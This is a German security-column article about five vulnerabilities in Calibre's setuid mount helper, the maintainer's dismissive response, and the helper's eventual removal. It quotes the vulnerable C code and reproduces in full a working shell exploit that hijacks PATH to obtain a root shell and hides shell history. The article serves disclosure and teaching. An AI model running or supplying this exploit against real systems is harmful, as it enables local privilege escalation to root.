Open Source im professionellen Einsatz

Calibre: Lokaler Root-Exploit in wenigen Zeilen

Anfang November hat sich eine kleine Schlacht auf dem Launchpad-Konto der E-Book-Software Calibre abgespielt. Ursache war die Meldung verschiedener Sicherheitslücken in Calibre, auf die der Hauptentwickler alles andere als sachlich reagierte.

Das Ganze begann am 2.11. recht harmlos mit einem Bug-Report von Jason Donenfeld. In seinem Bericht hat er fünf ernsthafte Schwachstellen im Calibre Mount Helper aufgezeigt, die dazu führen, dass ein lokaler Angreifer sehr einfach Root-Rechte erlangen kann. Das demonstrierte Donenfeld auch mit einem funktionsfähigen Exploit. Der Mount Helper ("calibre-mount-helper") ist ein Setuid-Programm, dass es Calibre-Anwendern erlaubt, Medien wie E-Book-Reader oder USB-Speicher als Nicht-Root-Benutzer ein- und auszuhängen. Er kommt immer dann zum Einsatz, wenn das zugrundeliegende Linux-System keinen alternativen Mechanismus für diese Funktionalität bereitstellt.

Die kritischste der fünf angeführten Sicherheitslücken hat zur Folge, dass ein lokaler Angreifer beliebige Befehle mit Root-Rechten auf dem System ausführen kann. Die anderen Schwachstellen erlauben das Erzeugen und Entfernen von Verzeichnissen mit Root-Rechten und Kontrolle das Mount-Kommandos.

Bei den meisten Schwachstellen handelt es sich um recht grobe Schnitzer in der Programmierung, die man wirklich nur unerfahrenen Programmierern durchgehen lassen würde. Beispielsweise werden Benutzer-Argumente ungefiltert an Systembefehle wie "mkdir()" weitergereicht, auch werden Umgebungsvariablen nicht ordentlich behandelt. Die Tatsache, dass der Mount Helper Setuid-Root ausgeführt wird, führt dadurch zu schwerwiegenden Schwachstellen.

Umso seltsamer war die Reaktion des Calibre-Hauptentwicklers Kovid Goyal auf Donenfelds Report. Zunächst hatte Goyal die genannten Schwachstellen gar nicht als solche angesehen und wollte anfangs nur für einen der fünf Fehler ein Patch bereitstellen. Nach unzähligen weiteren Postings und nachgebesserten Exploits von Donenfeld wurden dann auch die anderen Schwachstellen nach und nach gefixt.

Der fehlerhafte Mount-Helper-Programmcode wurde auch auf http://pastebin.com/auz9SULi gepostet. Der ursprüngliche Report zeigt darin fünf gravierende Sicherheitslücken auf:

(1) Lokaler Angreifer kann Verzeichnisse mit Root-Rechten anlegen:

Der Mount Helper enthält folgende Zeilen, um Verzeichnisse anzulegen:

if (!exists(mp)) {
  if (mkdir(mp, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH) != 0) {
   errsv = errno;
  fprintf(stderr, "Failed to create mount point with error: %s\n", strerror(errsv));
 }
}

Dabei ist "mp" ein vom Benutzer kontrollierter String. Hier findet keinerlei Kontrolle der Benutzereingaben statt - ein Angreifer kann Verzeichnisse nach Belieben mit Root-Rechten anlegen.

(2) Leere Verzeichnisse mit Root-Rechten löschen:

Das gleiche Problem tritt auf, wenn Verzeichnisse gelöscht werden sollen:

rmd = rmdir(mp);

Hiermit kann ein Angreifer leere Verzeichnisse mit Root-Rechten entfernen.

(3) Die Datei ".created_by_calibre_mount_helper" kann an beliebiger Stelle im Verzeichnisbaum mit Root-Rechten angelegt oder gelöscht werden.

(4) Beliebige Argumente für Mount-Befehl:
Das eigentliche Mounten im Helper Code ist auf folgende einfache Art via "execlp()" realisiert:

execlp("mount", "mount", "-t", "auto", "-o", options, dev, mp, NULL);

Auch hier sind "dev" und "mp" benutzerdefinierte Strings, die direkt vom Angreifer vorgegeben werden können und vom Mount Helper nicht weiter kontrolliert werden. Ein Angreifer kann an dieser Stelle "mount" mit beliebigen Kommandozeilen-Argumenten versorgen.

(5) Ausführen beliebiger Befehle:
Diese letzte und schwerste Schwachstelle hängt mit Problem (4) zusammen. Wie die "execlp()" Manpage deutlich besagt: "Die Funktionen execlp(), execvp(), and execvpe() bilden das Verhalten der Shell nach, indem sie eine ausführbare Datei suchen, falls der angegebene Dateiname keinen Slash (/) enthält."

Die Funktion "execlp()" durchsucht also die in der Umgebungsvariablen "PATH" abgelegten Pfade, um das "mount"-Executable zu finden, und führt dieses dann als Root aus. Ein lokaler Angreifer kann"PATH" aber leicht modifizieren. Hat der Angreifer beispielsweise seine eigenes "mount"-Executable im Dateibaum deponiert und verweist via "PATH darauf", so wird das Programm des Angreifers von Calibre mit Root-Rechten ausgeführt. Der Angreifer muss lediglich sicherstellen, dass sein Pfad am Anfang der "PATH"-Liste steht. Eine Attacke könnte beispielsweise so aussehen:

$ PATH=".:$PATH" calibre-mount-helper mount foo bar

Entscheidend ist hierbei, dass der Angreifer ein Executable namens "mount" in den aktuellen Pfad (".") gelegt hat. All diese Schritte hat Donenfeld in einem einfachen Shell-basierten Exploit realisiert:

set -e
echo "#######################################"
echo "#     .50-Calibrer Assault Mount      #"
echo "#              by zx2c4               #"
echo "#######################################"
echo
echo -n "[+] Making temporary directory: "
dir="$(mktemp -d)"
echo "$dir"
cd "$dir"
echo "[+] Making mount point."
mkdir mountpoint
echo "[+] Writing malicious mounter."
cat > mount <<END
#!/bin/sh
cd /
echo "[+] Cleaning up: $dir"
rm -rf "$dir"
echo -n "[+] Checking root: "
id
echo "[+] Launching shell."
HISTFILE="/dev/null" exec /bin/sh
END
chmod +x mount
echo "[+] Overriding PATH and getting root."
PATH=".:$PATH" calibre-mount-helper mount /dev/null mountpoint

Wer diesen Exploit als lokaler Anwender auf einem System mit fehlerhaftem Calibre ausführt, wird mit einer Root-Shell belohnt. Im Laufe der Diskussion wurden noch weitere Exploits vorgestellt, die sukzessive weitere Schwachstellen offenbarten. Alle Exploits und die verschiedenen Beiträge sind in Donenfelds Blog zusammengefasst.

Diese Sicherheitslücken offenbaren die bekannte Problematik von Setuid-Programmen: Sie müssen extrem sauber programmiert werden, um Schwachstellen dieser Art zu vermeiden. Am Ende der Diskussion gab dann Goyal schliesslich zu, dass er es wohl nicht schaffen würde, alle möglichen Probleme im Mount Helper zu lösen und gleichzeitig dessen volle Flexibilität und Funktionalität zu bewahren. Darum sah er sich gezwungen, den Mount Helper aus neuen Releases von Calibre zu entfernen.

Für die meisten Anwender ist das Entfernen des Mount Helpers kein Problem, weil dieser in den großen Distributionen ohnehin nicht zum Einsatz kommt. Dies ist zwar eine recht radikale Art, eine Sicherheitslücke zu schließen, aber auch eine sehr effektive.

 

comments powered by Disqus

Ausgabe 07/2013

Preis € 6,40

Insecurity Bulletin

Insecurity Bulletin

Im Insecurity Bulletin widmet sich Mark Vogelsberger aktuellen Sicherheitslücken sowie Hintergründen und Security-Grundlagen. mehr...

Linux-Magazin auf Facebook